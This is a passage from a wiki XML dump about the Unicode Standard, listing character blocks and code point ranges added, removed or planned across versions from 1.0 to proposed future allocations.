* Hebrew Point Sheva Na Mudgash and Hebrew Point Dagesh Hazaq Mudgash (total 2 characters) was added to '''Hebrew'''. (U+05C8-U+05C9)
* Signs for dot above and double dot above (total 2 characters) was added to '''Oriya'''. (U+0B53-U+0B54)
* Alternate positioned IPA diacritics and diacritics for Chao and Khoe (total 7 characters) was added to '''Combining Diacritical Marks Extended'''. (U+1ADE-U+1ADF, U+1AEC-U+1AF0)
* Latin subscript small letter w, y, and z and Modifier letter high and low vertical line (total 4 characters) was added to '''Superscripts and Subscripts'''. (U+208F, U+209D-U+209F)
* Rufiyaa Sign, UAE Dirham Sign, and Omani Rial (total 3 characters) was added to '''Currency Symbols'''. (U+20C2-U+20C4)
* Two Wiggly Exclamation Marks and Two Parenthesis with Middle Ring (total 4 characters) was added to '''Supplemental Punctuation'''. (U+2E60-U+2E63)
* Latin capital letter closed omega and Latin capital letter r with long leg and (total 2 characters) was added to '''Latin Extended-D'''. (U+A7DD and U+A7E2)
* Latin capital letter script r and script r with ring (total 2 characters) was added to '''Latin Extended-E'''. (U+AB6C-U+AB6D)
* Latin modifier letters for clicks (total 5 characters) was added to '''Latin Extended-F'''. (U+107BB-U+107BF)
* Arabic Crown Letters, Quranic Characters, and Arabic Crown (total 39 characters) was added to '''Arabic Extended-C'''. (U+10EC9-U+10ECF, U+10ED9-U+10EEE, U+10EF0-U+10EF9)
* Devanagari Letter Alternate Ddda (total 1 character) was added to '''Devanagari Extended-A'''. (U+11B0A)
* Extended Cuneiform Numeric Signs (total 12 characters) was added to '''Cuneiform Numbers and Punctuation'''. (U+1246F, U+12475-U+1247F)
* Jurchen Small Script characters (total 5 characters) was added to '''Khitan Small Script'''. (U+18CD6-U+18CDA)
* Two additional ideographs (total 2 characters) was added to '''Tangut Supplement'''. (U+18D1F-U+18D20)
* Hiragana Digraph Koto, Katakana Diagraphs Toki, Tote, and Yori, letters alternate Ne, and Wi (total 6 characters) was added to '''Kana Extended-A'''. (U+1B123-U+1B128)
* Katakana letter small archaic Ye (total 1 character) was added to '''Small Kana Extension'''. (U+1B168)
* Leibnizian alchemical symbols,  Leibnizian cossic characters, and Leibnizian mathematical signs and symbols (total 19 characters) was added to '''Miscellaneous Symbols Supplement'''. (U+1CED2-U+1CED4, U+1CEDD-U+1CEDF, U+1CEF1-U+1CEFD)
* Stein Zimmerman Symbols, Digit Slash Symbols, and other Symbols (total 23 characters) was added to '''Musical Symbols'''. (U+1D127-U+1D128, U+1D1EB-U+1D1FF)
* Mathematical italic long s with descender s (U+1D6A6) was added to '''Mathematical Alphanumeric Symbols'''.
* Affricate ligatures, letters with palatal hook, barred letters, RFE letters, Initial Teaching Alphabet, English Phonotypic Alphabet, Leibnizian cossic characters, and modifier letters (total 151 characters) was added to '''Latin Extended-G'''. (U+1DF1F-U+1DF24, U+1DF2B-U+1DF81, U+1DF90-U+1DF96, U+1DFCD-U+1DFFF)
* A Tomobiki symbol (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F1AE)
* A lighthouse (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D9)
* A black circle with white vertical bar, and Extended Geometric Shapes (total 17 characters) was added to '''Geometric Shapes Extended'''. (U+1F7DA-U+1F7DB, U+1F7F1-U+1F7FF)
* A meteor, eraser, net with handle, monarch butterfly, pickle, cracking face, leftwards thumb sign, and rightwards thumb sign (total 8 characters) was added to '''Symbols and Pictographs Extended-A'''. (U+1FA8B-1FA8D, U+1FACC, U+1FADD, U+1FAEB, U+1FAF9-1FAFA)
* An additional ideograph (total 1 character) was added to '''CJK Unified Ideographs Extension D'''. (U+2B81E)

== Unicode 19.0==
Unicode 19.0 will be released in late 2027. There are more characters targeted for this version, but they have not been confirmed yet.

=== New Blocks ===
* '''CJK Unified Ideographs Components-A''' (U+2FA20-U+2FA9F), containing 119 characters, will be added.
* '''CJK Unified Ideographs Components-B''' (U+2FAA0-U+2FC1F), containing 375 characters, will be added.

== Code Points Provisionally Assigned==
This is a section where you can add any upcoming Unicode characters that have been [https://www.unicode.org/alloc/Pipeline.html#codepoint_reservation provisionally assigned for mature proposals] (but not yet accepted) for a future update of The Unicode Standard.

=== New Blocks ===
* '''Arabic Extended-D''' (U+10D90-U+10E5F), containing 3 characters, will be added.
* '''Sirmauri''' (U+11850-U+1188F), containing 55 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Leke''' (U+11B80-U+11BBF), containing 55 characters, will be added.
* '''Proto-Cuneiform''' (U+12690-U+12ECF), containing 1392 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Chisoi''' (U+16D80-U+16DAF), containing 40 characters, will be added.&lt;!--target: 19.0--&gt;
* '''Mwangwego''' (U+16E00-U+16E3F), containing 64 characters, will be added.
* '''Shaaldaa''' (U+1C800-U+1CB2F), containing 804 characters, will be added.
* '''Leibnizian Ambiguous Signs''' (U+1DC00-U+1DC3F), containing 54 characters, will be added.)&lt;!--target: 19.0--&gt;

=== Extended Blocks ===
* Telugu Sign Spacing Candrabindu (total 1 character) will be added to '''Telugu'''. (U+0C70)&lt;!--target: 19.0--&gt;
* Kannada Signs Ardhanusvara and Combining Anusvara Above (total 1 character) will be added to '''Kannada'''. (U+0CF0 and U+0CF4)&lt;!--target: 19.0--&gt;
* Mongolian Letter Manchu Alternative Ue (total 1 character) will be added to '''Mongolian'''. (U+1879)
* Combining Grave-Acute-Macron, Combining inverted lazy s Above, and Combining comma Above and acute (total 3 characters) will be added to '''Combining Diacritical Marks Extended'''. (U+1AF1-U+1AF3)
* Cyrillic small letter Yeru with connecting bar (total 1 character) will be added to '''Cyrillic Extended-C'''. (U+1C8B)&lt;!--target: 19.0--&gt;
* Belarusian Ruble sign and Ruble sign with double vertical stem (total 2 characters) will be added to '''Currency Symbols'''. (U+20C5, U+20CF)&lt;!--20C5 target: 19.0--&gt;
* Combining Long Triple Solidus Overlay and Combining Saltire Overlay (total 2 characters) will be added to '''Combining Diacritical Marks for Symbols'''. (U+20F1-U+20F2)&lt;!--target: 19.0--&gt;
* Latin capital and small letter i with oblique stroke (total 2 characters) will be added to '''Latin Extended-D'''. (U+A7DE-U+A7DF)
* Latin capital letter u with left hook (total 1 character) will be added to '''Latin Extended-E'''. (U+AB6E)&lt;!--target: 19.0--&gt;
* Arabic Dotless Half-Yeh, Half-Yeh, Dotless Half-Jeem and Astronomical Kaf (total 4 characters) will be added to '''Arabic Extended-C'''. (U+10EC0-U+10EC1, U+10EC8, U+10EEF)&lt;!--10EC0-10EC1 target: 19.0--&gt;
* Brahmi minimizing virama (total 1 character) will be added to '''Brahmi'''. (U+1107E)&lt;!--target: 19.0--&gt;
* Tulu-Tigalari letter combining anusvara above, signs om pushpika with tail and shrii pushpika, and letter archaic II (total 5 characters) will be added to '''Tulu-Tigalari'''. (U+113CB, U+113D9-U+113DB)&lt;!--target: 19.0--&gt;
* Newa Letter Heavy Ya (total 1 character) will be added to '''Newa'''. (U+11462)
* Dogra Signs Candrabindu and Avaragha (total 2 characters) will be added to '''Dogra'''. (U+1183C-U+1183D)&lt;!--target: 19.0--&gt;
* Devanagari Jivamuliya and Upadhmaniya (total 2 characters) will be added to '''Devanagari Extended-A'''. (U+11B0B-U+11B0C)&lt;!--target: 19.0--&gt;
* White Ideographic Comma and Double Ideographic Full Stop (total 2 characters) will be added to '''Ideographic Symbols and Punctuation'''. (U+16FE5-U+16FE6)&lt;!--target: 19.0--&gt;
* Alchemical Symbol for Calx-2 and Alchemical Symbol for Retort-2 (total 2 characters) will be added to '''Miscellaneous Symbols Supplement'''. (U+1CED1, U+1CED5)&lt;!--target: 19.0--&gt;
* Musical Symbol down arrowhead breath mark (total 1 character) will be added to '''Musical Symbols Supplement'''. (U+1D282)
* Small w with palatal hook, small n and r with double middle tilde, small capital i with retroflex hook, small open q, x with stroke, small wavy y, schwa with right hook, Romance dialectology symbols, zh ligature, Albanian letter edhe, Albanian Frashëri letters, Modifier letter capital y, and modifier letter accents (total 26 characters) will be added to '''Latin Extended-G'''. (U+1DF82-U+1DF8F, U+1DF97-U+1DFA3, U+1DFC4-U+1DFCC)&lt;!--1DF82-1DF8A, 1DFC5-1DFCC target: 19.0--&gt;
*Arabic Astronomical zero and five astronomical symbols (total 6 characters) will be added to Arabic Mathematical Alphabetic Symbols (U+1EEE0-U+1EEE5)

==Roadmap Blocks==
This is a section where proportional maps of proposed allocations to Unicode and ISO/IEC 10646 are presented. Italic indicates scripts for which detailed proposals have not yet been written.&lt;ref&gt;[https://unicode.org/roadmaps/smp/]&lt;/ref&gt;

* '''Northern Palaeohispanic''' (U+10200-U+1023F)
* '''Southern Palaeohispanic''' (U+10240-U+1027F)
* '''''Shavian Quikscript''' (U+103E0-U+103FF)''
* '''Combining Diacritical Marks Extended-A''' (U+107C0-U+107FF)
* '''Proto-Sinaitic''' (U+108B0-U+108DF)
* '''''Numidian''' (U+10960-U+1097F)''
* '''Balti''' (U+10AA0-U+10ABF)
* '''Book Pahlavi''' (U+10BB0-U+10BDF)
* '''Baburi''' (U+10BE0-U+10BFF)
* '''Arabic Extended-D''' (U+10D90-U+10E5F)
* '''Landa''' (U+11250-U+1127F)
* '''Tani Lipi''' (U+114E0-U+114FF)
* '''Ranjana''' (U+11500-U+1157F)
* '''Zou''' (U+11750-U+117AF)
* '''Pyu''' (U+117B0-U+117FF)
* '''Vateluttu''' (U+11960-U+1199F)
* '''Balti-B''' (U+11CC0-U+11CFF)
* '''Tocharian''' (U+11E00-U+11E6F)
* '''Khotanese''' (U+11E70-U+11ECF)
* '''Pallava''' (U+11F60-U+11FAF)
* '''''Egyptian Hieroglyphs Extended-B''' (U+14680-U+151FF)''
* '''Mayan Hieroglyphs''' (U+15500-U+15AFF)
* '''Kore Sebeli''' (U+15B00-U+15B6F)
* '''Mandombe''' (U+15B80-U+15FFF)
* '''Wei Rma''' (U+16000-U+1604F)
* '''Wagindara''' (U+16050-U+1607F)
* '''Kurukh Banna''' (U+16140-U+1618F)
* '''Moon''' (U+161A0-U+161FF)
* '''Blissymbols''' (U+16200-U+167FF)
* '''Woleai''' (U+16B90-U+16BFF)
* '''Kpelle''' (U+16C00-U+16C7F)
* '''Tikamuli''' (U+16C80-U+16CBF)
* '''Tangsa (Khimhun)''' (U+16CD0-U+16CFF)
* '''Afaka''' (U+16D00-U+16D3F)
* '''Kulitan''' (U+16DD0-U+16DFF)
* '''''Bopomofo Extended-A''' (U+16FA0-U+16FAF)''
* '''Kanbun Extended-A''' (U+16FB0-U+16FDF)
* '''Khitan Large Script''' (U+19200-U+199FF)
* '''Pau Cin Hau Syllabary''' (U+19E00-U+1A2FF)
* '''Eskaya''' (U+1A300-U+1A75F)
* '''Rejang Extended''' (U+1A760-U+1A77F)
* '''''Kaida''''' (U+1A780-U+1A7FF)
* '''Naxi Dongba''' (U+1A800-U+1ACFF)
* '''''Naxi Geba''' (U+1AD00-U+1AFCF)''
* '''''Kana Extended-C''' (U+1AFD0-U+1AFEF)''
* '''Shuishu Logograms''' (U+1B300-U+1B5FF)
* '''Lisu Syllabic Script''' (U+1B600-U+1B9FF)
* '''Indus''' (U+1BA00-U+1BB8F)
* '''Pitman Shorthand''' (U+1BCB0-U+1BCFF)
* '''Proto-Elamite''' (U+1BE00-U+1C37F)
* '''Linear Elamite''' (U+1C380-U+1C4FF)
* '''Ndiko Jonam''' (U+1CB30-U+1CB7F)
* '''N&lt;nowiki&gt;'&lt;/nowiki&gt;ti''' (U+1CB80-U+1CBAF)
* '''Old Chinese Musical Symbols (Flute and Pipa)''' (U+1D290-U+1D2BF)
* '''''Mathematical Alphanumeric Symbols Supplement''' (U+1D380-U+1D3FF)''
* '''Jianzi Format Controls''' (U+1DAE0-U+1DAFF)
* '''Eebee Hmong''' (U+1E150-U+1E1FF)
* '''Western Cham''' (U+1E200-U+1E26F)
* '''Loma''' (U+1E300-U+1E41F)
* '''Bagam''' (U+1E420-U+1E4CF)
* '''Pungchen''' (U+1E500-U+1E52F)
* '''''Pungchung''' (U+1E530-U+1E55F)''
* '''''Marchung''' (U+1E560-U+1E59F)''
* '''Brusha''' (U+1E5A0-U+1E5CF)
* '''''Chola''' (U+1E600-U+1E65F)''
* '''Box-Headed''' (U+1E660-U+1E6BF)
* '''Lampung''' (U+1E700-U+1E73F)
* '''Kerinci''' (U+1E740-U+1E76F)
* '''Buginese Supplement''' (U+1E770-U+1E7BF)
* '''''Lontara Bilang-Bilang''' (U+1E7C0-U+1E7DF)''
* '''N'Ko Supplement''' (U+1E960-1E97F)
* '''''Byblos''''' (U+1EB90-U+1EBFF)
* '''Persian Siyaq Numbers''' (U+1EC00-U+1EC7F)
* '''Diwani Siyaq Numbers''' (U+1ECC0-U+1ECFF)
* '''''Extended Pictographic Characters''' (U+1FC00-U+1FFFF)''

== References ==
{{reflist}}</text>
      <sha1>5v9mhl7mm1sqc6k6t1m5swifh7fllb1</sha1>
    </revision>
    <revision>
      <id>4670538</id>
      <parentid>4670533</parentid>
      <timestamp>2026-09-17T01:45:26Z</timestamp>
      <contributor>
        <username>Alexlatham96</username>
        <id>377450</id>
      </contributor>
      <comment>/* Unicode 6.0 */</comment>
      <origin>4670538</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="134948" sha1="2fkn1akyqkcaejmij53f7zus9ewh7t8" xml:space="preserve">{{pp-protected|small=yes}}
{{Unicode page}}
{{TOC right}}
{{refimprove|date=June 2017}}
This page is about each version specification, and the differences between the versions.

== Unicode 1.0 ==

Unicode 1.0 was the first version of Unicode, released October 1991. It encoded 7,094 new characters.

=== “Blocks” ===
This version of Unicode did not formally group characters in blocks. But in comparison with version 2.0, the following “blocks” were available:
U+0000-U+FFFD
51 Blocks
* '''Basic Latin (formerly called ASCII)''' (U+0000-U+007F), containing 128 characters.
* '''Latin-1 Supplement (formerly called Latin1)'''  (U+0080-U+00FF), containing 128 characters.
* '''Latin Extended-A''' '''(formerly called European Latin)''' (U+0100-U+017F), containing 127 characters.
* '''Latin Extended-B''' '''(formerly called Extended Latin)''' (U+0180-U+01FF), containing 113 characters.
* '''IPA Extensions''' '''(formerly called Standard Phonetic)''' (U+0250-U+02AF), containing 89 characters.
* '''Spacing Modifier Letters''' '''(formerly called Modifier Letters)''' (U+02B0-U+02FF), containing 57 characters.
* '''Combining Diacritical Marks''' '''(formerly called Generic Diacritical Marks)''' (U+0300-U+036F), containing 66 characters.
* '''Greek and Coptic''' '''(formerly called Greek)''' (U+0370-U+03FF), containing 112 characters.
* '''Cyrillic''' (U+0400-U+04FF), containing 192 characters.
* '''Armenian''' (U+0530-U+058F), containing 84 characters.
* '''Hebrew''' (U+0590-U+05FF), containing 52 characters.
* '''Arabic''' (U+0600-U+06FF), containing 169 characters.
* '''Devanagari''' (U+0900-U+097F), containing 104 characters.
* '''Bengali''' (U+0980-U+09FF), containing 89 characters.
* '''Gurmukhi''' (U+0A00-U+0A7F), containing 74 characters.
* '''Gujarati''' (U+0A80-U+0AFF), containing 75 characters.
* '''Oriya''' (U+0B00-U+0B7F), containing 78 characters.
* '''Tamil''' (U+0B80-U+0BFF), containing 61 characters.
* '''Telugu''' (U+0C00-U+0C7F), containing 80 characters.
* '''Kannada''' (U+0C80-U+0CFF), containing 80 characters.
* '''Malayalam''' (U+0D00-U+0D7F), containing 78 characters.
* '''Thai''' (U+0E00-U+0E7F), containing 92 characters.
* '''Lao''' (U+0E80-U+0EFF), containing 70 characters.
* '''Tibetan''' (U+1000-U+105F), containing 71 characters.
* '''Georgian''' (U+10A0-U+10FF), containing 78 characters.
* '''General Punctuation''' (U+2000-U+206F), containing 67 characters.
* '''Superscripts and Subscripts''' (U+2070-U+209F), containing 28 characters.
* '''Currency Symbols''' (U+20A0-U+20CF), containing 11 characters.
* '''Combining Marks for Symbols''' '''(formerly called Diacritical Marks for Symbols)''' (U+20D0-U+20FF), containing 18 characters.
* '''Letterlike Symbols''' (U+2100-U+214F), containing 57 characters.
* '''Number Forms''' (U+2150-U+218F), containing 48 characters.
* '''Arrows''' (U+2190-U+21FF), containing 91 characters.
* '''Mathematical Operators''' (U+2200-U+22FF), containing 242 characters.
* '''Miscellaneous Technical''' (U+2300-U+23FF), containing 43 characters.
* '''Control Pictures''' '''(formerly called Pictures for Control Codes)''' (U+2400-U+243F), containing 37 characters.
* '''Optical Character Recognition''' (U+2440-U+245F), containing 11 characters.
* '''Enclosed Alphanumerics''' (U+2460-U+24FF), containing 139 characters.
* '''Box Drawing''' '''(formerly called Form and Chart Components)''' (U+2500-U+257F), containing 128 characters.
* '''Block Elements''' '''(formerly called Blocks)''' (U+2580-U+259F), containing 22 characters.
* '''Geometric Shapes''' (U+25A0-U+25FF), containing 79 characters.
* '''Miscellaneous Symbols''' '''(formerly called Miscellaneous Dingbats)''' (U+2600-U+26FF), containing 106 characters.
* '''Dingbats''' '''(formerly called Zapf Dingbats)''' (U+2700-U+27BF), containing 160 characters.
* '''CJK Symbols and Punctuation''' (U+3000-U+303F), containing 56 characters.
* '''Hiragana''' (U+3040-U+309F), containing 90 characters.
* '''Katakana''' (U+30A0-U+30FF), containing 90 characters.
* '''Bopomofo''' (U+3100-U+312F), containing 40 characters.
* '''Hangul Compatibility Jamo (formerly called Hangul Elements)''' (U+3130-U+318F), containing 94 characters.
* '''Kanbun (formerly called CJK Miscellaneous)''' (U+3190-U+31FF), containing 16 characters.
* '''Enclosed CJK Letters and Months''' '''(formerly called''' '''Enclosed CJK Letters and Ideographs)''' (U+3200-U+32FF), containing 191 characters.
* '''CJK Compatibility''' '''(formerly called CJK Squared Words for U+3300-U+337F and CJK Squared Abbreviations for U+3380-33FF)''' (U+3300-U+33FF), containing 187 characters.
* '''Hangul''' (U+3400-U+3D2D), containing 2,350 characters.
* '''Private Use Area''' (U+E000-U+FDFF), reserved for 5,632 characters.
* '''CJK Compatibility Forms''' '''(formerly called CNS 11643 Compatibility)''' (U+FE30-U+FE4F), containing 28 characters.
* '''Small Form Variants''' '''(formerly called Small Variants)''' (U+FE50-U+FE6F), containing 26 characters.
* '''Arabic Presentation Forms-B''' '''(formerly called Basic Glyphs for Arabic Language)''' (U+FE70-U+FEFF), containing 140 characters.
* '''Halfwidth and Fullwidth Forms''' '''(formerly called Halfwidth and Fullwidth Variants)''' (U+FF00-U+FFEF), containing 216 characters.
* '''Specials''' '''(formerly called Special)''' (U+FFF0-U+FFFF), containing 1 character.

== Unicode 1.0.1 ==
Unicode 1.0.1 was released June 1992. It encoded 28,292 characters, adding 21,204 new characters and removing 6 characters, for a net increase of 21,198 characters.

=== New blocks ===

* '''CJK Unified Ideographs''' (U+4E00-U+9FFF), containing 20,902 Han Ideographs for Chinese, Japanese and Korean, was added.
* '''CJK Compatibility Ideographs''' (U+F900-U+FAFF), containing 302 Han Ideographs for compatibility with existing character sets, was added.

=== Removed characters ===
* Letters Ka and Kha with Ogonek (total 4 characters) were removed from '''Cyrillic'''. (U+04C5-U+04C6 and U+04C9-U+04CA)
* APL Compose Operator and APL Out (total 2 characters) were removed from '''Miscellaneous Technical'''. (U+2300-U+2301)

=== Rearranged characters ===
* A Japanese Industrial Standard symbol (〄) was moved from '''Enclosed CJK Letters and Months''' (U+32FF) to '''CJK Symbols and Punctuation'''. (U+3004)
*'''Circled Katakana:''' ''The characters well be arranged in modern order: e.g., A, I, U, E, O, KA, KI'' (U+32D0-U+32FE)
*'''Basic Glyphs For Arabic Language:''' ''The character shapes will be arranged in different order: Isolate, Final, Initial and Medial'' (U+FE80-FEFC)

=== Characters with semantics changed ===
*'''Zero Width Non-Joiner''' [ZWNJ] (U+20DC)

*'''Zero Width Joiner''' [ZWJ] (U+20DD)

== Unicode 1.1 ==

Unicode 1.1 was released June 1993. It encoded 34,168 characters, adding 5,969 new characters and removing 93 characters, for a net increase of 5,876 characters. It finalized the long anticipated Han Unification.

=== New blocks ===

* '''Hangul Jamo''' (U+1100-U+11FF), containing 240 ''jamo'' for the Hangul script, was added.
* '''Latin Extended Additional''' (U+1E00-U+1EFF), containing 245 precomposed characters for transliteration and Vietnamese, was added.
* '''Greek Extended''' (U+1F00-U+1FFF), containing 233 precomposed characters for polytonic Greek, was added.
* '''Hangul Supplementary-A''' (U+3D2E-U+44B7), containing 1,930 precomposed syllables for the Hangul script, was added.
* '''Hangul Supplementary-B''' (U+44B8-U+4DFF), containing 2,376 precomposed syllables for the Hangul script, was added.
* '''Alphabetic Presentation Forms''' (U+FB00-U+FB4F), containing 57 precomposed characters and ligatures, was added.
* '''Arabic Presentation Forms-A''' (U+FB50-U+FDFF), containing 593 combinations of Arabic letters, was added.
* '''Combining Half Marks''' (U+FE20-U+FE2F), containing 4 halves of diacritical marks, was added.

=== Extended blocks ===

* The long S (ſ) (total 1 character) was added to '''Latin Extended-A'''. (U+017F)
* The Hungarian Dz, characters for transliteration purposes and precomposed characters with double grave and inverted breve (total 35 characters) were added to '''Latin Extended-B''' (U+01F1-U+01F5 and U+01FA-U+0217). The block was expanded from (U+0180-U+01FF) to (U+0180-U+024F)
* Diacritics for polytonic Greek and double width diacritics (total 6 characters) were added to '''Combining Diacritical Marks'''. (U+0342-U+0345 and U+0360-U+0361)
* Compatibility character now deprecated, Ano Teleia, and other characters (total 5 characters) were added to '''Greek and Coptic''' (U+0374-U+0375, U+037A, U+037E and U+0387).
* Additional characters for non-Slavic languages (total 38 characters) were added to '''Cyrillic'''. (U+04D0-U+04EB, U+04EE-U+04F5 and U+04F8-U+04F9)
* A ligature of Ech and Yiwn (և) (total 1 character) was added to '''Armenian'''. (U+0587)
* One deprecated compatibility character and several characters for biblical texts (total 25 characters) were added to '''Arabic'''. (U+066D and U+06D6-U+06ED)
* A sign Virama (total 1 character) was added to '''Gurmukhi''' (U+0A4D).
* Letters Candra O and E (total 3 characters) were added to '''Gujarati'''. (U+0A8D, U+0A91 and U+0AC9)
* An Ai Length mark (total 1 character) was added to '''Oriya'''. (U+0B56)
* An undertie, a pair of brackets and six formatting characters now deprecated (total 9 characters) were added to '''General Punctuation'''. (U+203F, U+2045-U+2046 and U+206A-U+206F)
* Some additional symbols and the complete set of APL functional symbols (total 79 characters) were added to '''Miscellaneous Technical'''. (U+2300 and U+232D-U+237A)
* A large circle (◯) (total 1 character) was added to '''Geometric Shapes'''. (U+25EF)
* The ideographic telegraph line feed separator symbol (〷) (total 1 character) was added to '''CJK Symbols and Punctuation'''. (U+3037)
* Four Katakana letters not in use since 1945 (total 4 characters) were added to '''Katakana'''. (U+30F7-U+30FA)
* Ideographic telegraph symbols for the twelve months (total 12 characters) were added to '''Enclosed CJK Letters and Months'''. (U+32C0-U+32CB)
* Ideographic telegraph symbols for hours and days and six additional measure units (total 62 characters) were added to '''CJK Compatibility'''. (U+3358-U+3376 and U+33E0-U+33FE)
* Some more space (total 2,304 characters) was added to the '''Private Use Area'''.
* Seven halfwidth geometric shapes (total 7 characters) were added to '''Halfwidth and Fullwidth Forms'''. (U+FFE8-U+FFEE)

=== Removed blocks ===
* '''Tibetan''', containing 71 letters for the Tibetan script, was removed from the Unicode standard.

=== Removed characters ===
* A total of 10 characters were removed from '''Greek and Coptic'''. (U+0370-U+0372, U+03D7-U+03D9, U+03DB, U+03DD, U+03DF, and U+03E1)
* Point Varika (total 1 character) was removed from '''Hebrew'''. (U+05F5)
* Phonetic Order Vowel Signs (total 5 characters) were removed from '''Thai'''. (U+0E70-U+0E74)
* Phonetic Order Vowel Signs (total 5 characters) were removed from '''Lao'''. (U+0EF0-U+0EF4)
* An Ideographic Ditto Mark (total 1 character) was removed from '''CJK Symbols and Punctuation''' (U+3004) and merged with CJK Unified Ideograph-4EDD.

=== Rearranged characters ===
* Greek character U+03F3 was changed from Spacing Tonos to Letter Yot.
* A Japanese Industrial Standard symbol (〄) was moved from '''Enclosed CJK Letters and Months''' (U+32FF) to '''CJK Symbols and Punctuation'''. (U+3004)

== Unicode 2.0 ==

Unicode 2.0 was released July 1996. It encoded 38,885 characters, adding 11,373 new characters and removing 6,656 characters, for a net increase of 4,717 characters. This was the first Unicode version to reserve blocks outside of the Basic Multilingual Plane.

=== New blocks ===

* '''Hangul Syllables''' (U+AC00-U+D7AF), containing 11,172 precomposed syllables for the Hangul script, was added.
* '''High Surrogates''' (U+D800-U+DB7F), setting aside 896 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''High Private Use Surrogates''' (U+DB80-U+DBFF), setting aside 128 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''Low Surrogates''' (U+DC00-U+DFFF), setting aside 1,024 codepoints for encoding UTF-16 surrogate pairs, was added.
* '''Supplementary Private Use Area-A''' (U+F0000-U+FFFFF), reserving 65,534 characters for private use, was added.
* '''Supplementary Private Use Area-B''' (U+100000-U+10FFFF), reserving 65,534 characters for private use, was added.

=== Reinstated blocks ===

* '''Tibetan''' (U+0F00-U+0FFF), now containing 168 characters for the Tibetan script including religious signs, was readded.

=== Removed blocks ===

* '''Hangul''', containing 2,350 precomposed syllables for the Hangul script, was removed from the Unicode standard.
* '''Hangul Supplementary-A''', containing 1,930 precomposed syllables for the Hangul script, was removed from the Unicode standard.
* '''Hangul Supplementary-B''', containing 2,376 precomposed syllables for the Hangul script, was removed from the Unicode standard.

=== Extended blocks ===

* Cantillation marks for use in religious texts (total 31 characters) were added to '''Hebrew'''. (U+0591-U+05A1, U+05A3-U+05AF and U+05C4)
* A long S with Dot Above (total 1 character) was added to '''Latin Extended Additional'''. (U+1E9B)
* A Vietnamese Dong sign (total 1 character) was added to '''Currency Symbols'''. (U+20AB)

== Unicode 2.1 ==

Unicode 2.1 was released May 1998. It encoded 38,887 characters, adding only 2 new characters.

=== Extended blocks ===

* A Euro sign (total 1 character) was added to '''Currency Symbols'''. (U+20AC)
* An Object Replacement Character (total 1 character) was added to '''Specials'''. (U+FFFC)

== Unicode 3.0 ==

Unicode 3.0 was released September 1999. It was a big update and encoded 49,194 characters, adding 10,307 new characters.

=== New blocks ===

* '''Syriac''' (U+0700-U+074F), containing 71 characters used for writing in Syriac script, was added.
* '''Thaana''' (U+0780-U+07BF), containing 49 characters used for writing in Thaana script, was added.
* '''Sinhala''' (U+0D80-U+0DFF), containing 80 characters for the Sinhala script, was added.
* '''Myanmar''' (U+1000-U+109F), containing 78 characters for the Burmese script, was added.
* '''Ethiopic''' (U+1200-U+137F), containing 345 syllables and punctuation marks for the Ethiopic script, was added.
* '''Cherokee''' (U+13A0-U+13FF), containing 85 syllables for the Cherokee script, was added.
* '''Unified Canadian Aboriginal Syllabics''' (U+1400-U+167F), containing 630 syllables and punctuation marks for writing in indigenous languages of Canada, was added.
* '''Ogham''' (U+1680-U+169F), containing 29 characters for the ancient Ogham script, was added.
* '''Runic''' (U+16A0-U+16FF), containing 81 characters for the Germanic runes, was added.
* '''Khmer''' (U+1780-U+17FF), containing 103 characters for the Khmer script, was added.
* '''Mongolian''' (U+1800-U+18AF), containing 155 characters for the classical Mongolian script, was added.
* '''Braille Patterns''' (U+2800-U+28FF), containing 256 Braille letters, was added.
* '''CJK Radicals Supplement''' (U+2E80-U+2EFF), containing 115 non-Kangxi radicals, was added.
* '''Kangxi Radicals''' (U+2F00-U+2FDF), containing 214 radicals from the Kangxi dictionary, was added.
* '''Ideographic Description Characters''' (U+2FF0-U+2FFF), containing 12 characters used to describe a Han ideograph not available in the font, was added.
* '''Bopomofo Extended''' (U+31A0-U+31BF), containing 24 characters used for phonetic transcription of minority languages of Taiwan, was added.
* '''CJK Unified Ideographs Extension A''' (U+3400-U+4DBF), containing 6,582 additional Han Ideographs, was added.
* '''Yi Syllables''' (U+A000-U+A48F), containing 1,165 syllables of the modern Yi script, was added.
* '''Yi Radicals''' (U+A490-U+A4CF), containing 50 radicals of Yi Syllables, was added.

=== Extended blocks ===

* Additional precomposed characters, letters and capital letters of lowercase-only letters (total 30 characters) were added to '''Latin Extended-B'''. (U+01F6-U+01F9, U+0218-U+021F and U+0222-U+0233)
* Extensions for disordered speech (total 5 characters) were added to '''IPA Extensions'''. (U+02A9-U+02AD)
* Some additional modifier letters (total 6 characters) were added to '''Spacing Modifier Letters'''. (U+02DF and U+02EA-U+02EE)
* Additional combining diacritics for IPA (total 10 characters) were added to '''Combining Diacritical Marks'''. (U+0346-U+034E and U+0362)
* Lowercase versions of archaic letters and the Kai symbol (total 5 characters) were added to '''Greek and Coptic'''. (U+03D7, U+03DB, U+03DD, U+03DF and U+03E1)
* Nonstandard letters for Macedonian, combining numeral signs and three letters for Kildin Sami (total 12 characters) were added to '''Cyrillic'''. (U+0400, U+040D, U+0450, U+045D, U+0488-U+0489, U+048C-U+048F and U+04EC-U+04ED)
* A Hyphen (total 1 character) was added to '''Armenian'''. (U+058A)
* Combining hamza and maddah and nine additional Arabic characters (total 12 characters) were added to '''Arabic'''. (U+0653-U+0655, U+06B8-U+06B9, U+06BF, U+06CF and U+06FA-U+06FE)
* Additional letters and religious symbols (total 25 characters) were added to '''Tibetan'''. (U+0F6A, U+0F96, U+0FAE-U+0FB0, U+0FB8, U+0FBA-U+0FBC, U+0FBE-U+0FCC and U+0FCF)
* A narrow no-break space and 6 additional punctuation marks (total 7 characters) were added to '''General Punctuation'''. (U+202F and U+2048-U+204D)
* The Kip, Tugrik and Drachma sign (total 3 characters) were added to '''Currency Symbols'''. (U+20AD-U+20AF)
* An enclosing screen and an enclosing key (total 2 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20E2-U+20E3)
* The information symbol and a rotated Q (total 2 characters) were added to '''Letterlike Symbols'''. (U+2139-U+213A)
* A mirrored Roman capital numeral hundred (Ↄ) (total 1 character) was added to '''Number Forms'''. (U+2183)
* Some additional arrows (total 9 characters) were added to '''Arrows'''. (U+21EB-U+21F3)
